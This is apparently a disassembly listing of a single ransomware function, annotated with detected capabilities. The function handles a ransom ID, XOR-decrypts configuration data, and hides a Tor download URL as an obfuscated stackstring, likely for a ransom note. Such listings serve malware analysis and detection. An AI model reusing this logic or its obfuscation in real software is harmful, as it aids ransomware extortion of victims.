Function at 0x100040e0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x110
cmp dword [0x10012a64], 0
push esi
push edi
jne 0x100043c8
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [esp + 0xe0]
call fcn.100039f0
lea ecx, [esp + 0x88]
call fcn.10007330
lea ecx, [esp + 0x88]
call fcn.10007140
mov esi, eax
push 0x40
push 0x3000
lea edi, [esi*2 + 0x42]
push edi
push 0
call dword [0x1000a144]
mov dword [esp + 0x80], eax
test eax, eax
je 0x10004171
lea ecx, [esi*2 + 0x40]
cmp ecx, edi
jae 0x10004171
mov esi, eax
jmp 0x10004173
xor esi, esi
push esi
lea ecx, [esp + 0x8c]
call fcn.10006f40
mov edx, str.ransom_id
mov ecx, esi
call fcn.10008090
push str.ransom_id
mov esi, eax
call dword [0x1000a0b0]
movdqa xmm1, xmmword [0x100104a0]
mov ecx, section..data
mov edx, 0xa3
lea esi, [esi + eax*2]
mov eax, 0xa30
mov dword [esp + 0x84], esi
lea ebx, [ebx]
lea ecx, [ecx + 0x10]
movdqu xmm0, xmmword [ecx - 0x10]
pxor xmm0, xmm1
movdqu xmmword [ecx - 0x10], xmm0
dec edx
jne 0x100041c0
jmp 0x100041e0
xor byte [eax + section..data], 5
inc eax
cmp eax, 0xa38
jb 0x100041e0
mov edx, str.USERID
mov dword [0x10012a64], 0x10012000
mov ecx, section..data
call fcn.10008090
mov edi, eax
test edi, edi
je 0x10004286
mov edi, edi
push esi
push edi
call dword [0x1000a06c]
push edi
call dword [0x1000a0b0]
mov ecx, 0x20
mov word [edi + eax*2], cx
mov edi, section..data
mov ax, word [section..data]
test ax, ax
je 0x10004286
mov esi, edi
movzx ecx, ax
sub esi, str.USERID
mov eax, str.USERID
test cx, cx
je 0x10004277
lea ecx, [ecx]
movzx ecx, word [eax]
test cx, cx
je 0x100043ce
movzx edx, word [esi + eax]
sub edx, ecx
jne 0x1000426d
add eax, 2
cmp word [esi + eax], dx
jne 0x10004250
cmp word [eax], 0
je 0x100043ce
movzx ecx, word [edi + 2]
add edi, 2
add esi, 2
test cx, cx
jne 0x10004243
cmp dword [0x10012a44], 0
mov dword [esp + 8], 0x740068
mov dword [esp + 0xc], 0x700074
mov dword [esp + 0x10], 0x3a0073
mov dword [esp + 0x14], 0x2f002f
mov dword [esp + 0x18], 0x770077
mov dword [esp + 0x1c], 0x2e0077
mov dword [esp + 0x20], 0x6f0074
mov dword [esp + 0x24], 0x700072
mov dword [esp + 0x28], 0x6f0072
mov dword [esp + 0x2c], 0x65006a
mov dword [esp + 0x30], 0x740063
mov dword [esp + 0x34], 0x6f002e
mov dword [esp + 0x38], 0x670072
mov dword [esp + 0x3c], 0x64002f
mov dword [esp + 0x40], 0x77006f
mov dword [esp + 0x44], 0x6c006e
mov dword [esp + 0x48], 0x61006f
mov dword [esp + 0x4c], 0x2f0064
mov dword [esp + 0x50], 0x6f0064
mov dword [esp + 0x54], 0x6e0077
mov dword [esp + 0x58], 0x6f006c
mov dword [esp + 0x5c], 0x640061
mov dword [esp + 0x60], 0x65002d
mov dword [esp + 0x64], 0x730061
mov dword [esp + 0x68], 0x2e0079
mov dword [esp + 0x6c], 0x740068
mov dword [esp + 0x70], 0x6c006d
mov dword [esp + 0x74], 0x65002e
mov dword [esp + 0x78], 0x6e
jne 0x100043a8
push 4
push 0x3000
push 0x400
push 0
call dword [0x1000a144]
mov dword [0x10012a44], eax
test eax, eax
je 0x100043a8
lea ecx, [esp + 8]
push ecx
push 0x1000f41c
push eax
call dword [0x1000a194]
add esp, 0xc
push 0x8000
push 0
push dword [esp + 0x88]
call dword [0x1000a104]
lea ecx, [esp + 0x88]
call fcn.10007c10
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0x84]
jmp 0x10004210